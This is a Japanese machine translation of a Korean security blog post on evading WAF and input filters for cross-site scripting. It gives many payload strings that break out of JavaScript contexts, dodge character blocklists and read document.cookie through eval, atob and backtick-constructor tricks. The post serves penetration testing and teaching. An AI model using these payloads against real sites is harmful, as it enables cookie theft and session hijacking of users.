Arang.dev
検索

XSSにおけるWAFおよびフィルタリング回避テクニック

ペネトレーションテストやバグバウンティにおけるXSS脆弱性分析から得られた、WAFおよびフィルタリング回避テクニック

#web-security#xss#bypass#waf
🌐 翻訳済み

この記事はAIによって韓国語から機械翻訳されています。原文と表現が異なる場合があります。

原文(韓国語)を読む

[Summary]

本記事は、様々なペネトレーションテストやバグバウンティにおいてXSS脆弱性を分析した経験に基づいて作成されました。

サーバーのソースコードレベルでのフィルタリングや、ネットワークレベルでのWAFフィルタリングなどを回避し、XSS Exploitを成功させるためのテクニックの一部をまとめています。

[Example 1]

条件 1

https://ar9ang3.com/?param1=abc としてリクエストした場合(現在はGETで送信していますが、POSTの場合も同様)

条件 2

サーバーにリクエストしたURIが直接javascript内に挿入される場合

<script>

document.location.href = 'https://ar9ang3.tistory.com/?param1=abc';

</script>

制約条件 3

%3b(;)、%2b(+)がWAFでフィルタリングされ、document.location.href= 等から抜け出せない場合

回避およびXSSトリガーコード 1 (Reflected XSS)

文字列 - Native Function - 文字列 を実行すると、文字列の結果を演算する過程でNative Functionが実行されます。そのため、document.location="abc"-alert(document.cookie)-"def"; のような構文がある場合、document.locationの結果とは無関係に alert(document.cookie) 構文が実行されます。

{example}

?param1=abc'-alert(document.cookie)-'def

<script>

document.location.href = 'https://ar9ang3.tistory.com/?param1=abc'-alert(document.cookie)-'def';

</script>

回避およびXSSトリガーコード 2 (Redirect to other Site)

上記のトリガーコード1と似ていますが、&& 演算子を利用する点が異なります。

?param1=abc'&&'https://ar9ang3.com/

<script>

document.location.href = 'https://ar9ang3.tistory.com/?param1=abc'&&'https://ar9ang3.com/';

</script>

このように回避が可能です。

回避コード1番の場合、document.location.hrefの後ろの文字列が「文字列 - alert(1)の結果値 - 文字列」となり、「文字列 - 文字列(定数)」はNaNになるため、hostの /NaN へリクエストすることになります。しかし、この中間のalertに該当する部分でコードが実行されます。

回避コード2番の場合、「文字列 && 文字列」を行うと後ろの文字列が最終的に適用されるため、最終的には後ろに記述した文でdocument.location.hrefが動作することになり、任意のページへredirectさせることができます。

WAF Bypass Tips

. をフィルタリングする場合

document.cookie => document['cookie']

(" ")をフィルタリングする場合

eval("alert(1)") => eval[alert(1)]

;や+をフィルタリングする場合

'abc'-alert(1)-'def' => 関数実行後に正常な文字列を代入しなければならない時 => 'abc'-alert(1)^1&&'normal_string_here'

総合すると

'abc'-eval[alert(document['cookie'])]^1&&'normal_string_here'

document.location.href の文字列に代入してみると

document.location.href = 'abcdef?param1=haha'-eval[alert(document['cookie'])]^1&&'https://ar9ang3.com/';

More Filtering Bypass tips

任意のJavaScript構文を挿入できると仮定した場合、以下の2点を考慮する必要があります。

1. 挿入されたJavaScript構文によって「JavaScript構文エラー」が誘発されないか

2. 挿入するJavaScript構文がフィルタリングされないか

<< 1. 挿入されたJavaScript構文によって「JavaScript構文エラー」が誘発されないか>>

1番の場合、jsbeautifierやsublimetextのようなbeautifyツール、あるいはIDEツールを通じて構文エラーを見つけ出し(括弧のエラーなど)、エラーが発生してJavaScript構文が正常に実行されない場合は、Chromeの開発者ツールのコンソール画面に表示されるJavaScriptエラーメッセージを確認して構文エラーを特定できます。例を挙げると以下の通りです。

 try {
    if ('injection'==<%=request.getParameter("param")%>) {
        var a = "%inject here%";
    }
    var f = function(x) {
        var z = {
            a : 1,
            b : 2,
            c : 3
        };
        return a;
    }
} catch (e) { 
    console.log("err");
}

上記のような構文において、inject hereに我々が望む任意のJavaScript構文を入れることができると仮定しましょう。try構文の中にあるif構文の中でvar aを宣言する過程でinjectionが発生しました。我々が望むスクリプトを実行させるためには、if条件に関係なく動作するようにJavaScriptコードを再構成する必要があります。

[Method 1]

image

1つ目の方法は、構文を合わせることです。構文に合わせてすべて挿入すれば、正常にJavaScriptコードが実行されることが確認できます。

[Method 2]

2つ目の方法は以下の通りです。

 try {
    if ('injection'==<%=request.getParameter("param")%>) {
        var a = "blahblah";
    }
} catch(e) { }
alert(document.cookie);
</script>
<noscript>";
    }
    var f = function(x) {
        var z = {
            a : 1,
            b : 2,
            c : 3
        };
        return a;
    }
} catch (e) { 
    console.log("err");
}

と<noscript>を挿入できる場合、上記のような構文で適当に閉じタグを合わせてスクリプトを実行させた後、スクリプトタグを閉じてしまいnoscriptを動作させる手法です。</noscript>

上記で紹介した方法以外にも、XSSが発生する状況は非常に多様であるため、その状況に合わせてExploitを行う必要があります。もし入力したパラメータがHTMLスクリプト内の2箇所に入り、それによってエラーが誘発されるならば、`(Back Quote)を利用して2つの挿入地点の間のすべてのコードを文字列にしたり、/* */のようなコメントコードを利用して2つの挿入地点の間のすべての文字を無効化することも可能です。このように、多様な方法でJavaScript構文エラーを回避できます。

<<2. 挿入するJavaScript構文がフィルタリングされないか>>

フィルタリングされる文字列は様々です。<, >, ', ", (, ), `, ;, %, &, +

上記のようなCharacterがフィルタリングされている場合の回避方法について、一部紹介します。

Example Code

-> alert(document.cookie);

alertのようなnative function自体をフィルタリングする場合

var a=alert; a(document.cookie);

document.cookieなどをフィルタリングする場合

var a='alert'; var b='(documen'; var c='t.cooki'; var d='e)'; var e=eval; e(a+b+c+d);

何らかの文字列をフィルタリングする場合

var a=eval; a(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="));

BASE64でエンコードして実行

' / "をフィルタリングする場合

?param_a=&param_b=;alert(document.cookie);var%20z='

var a='**'; var b=';alert(document.cookie);var z='**';

( ) 括弧をフィルタリングする場合

alert`123`;

btoa.constructor`alert\x28document.cookie\x29

これについてもう少し説明すると、`(back quote)は少し特別なCharacterです。文字列を作成する際にも使用でき、関数を実行する際に引数を alert`123`; のように与えることもできます。そのため、これについてもう少し言及すると、btoaのようなNative functionのconstructor methodを利用して、引数として文字列になったスクリプト構文を渡せば、btoaのconstructor functionとしてスクリプトが指定されます。その後、`(back quote)を2回書くことでbtoaを実行させることになり、これにより先ほど保存したスクリプト構文が実行されることになります。また、JavaScriptでは \x28のようなAscii hexを自動的にconvertingしてくれるため、\x28、\u28、(のような構文が文字列内で自動的にascii charcterに変換されます。そのため、最終的に alert(document.cookie) 構文が実行されることになります。


様々な状況でXSSを成功させる方法について見てきましたが、正直なところXSSの場合、Mitigation(緩和策)の実装も多様であり、挿入される位置や状況もすべて異なります。そのため、画一的な回避テクニックではなく、その時々の状況に合わせて回避することが重要だと考えます。最近ではハングルXSS、カタカナXSSなどの内容も見かけますが、このように新しい手法が次々と出てきています。これらの内容まですべて言及はせず、この程度で締めくくりたいと思います。

コメント

コメントを読み込み中...
XSSにおけるWAFおよびフィルタリング回避テクニック | Arang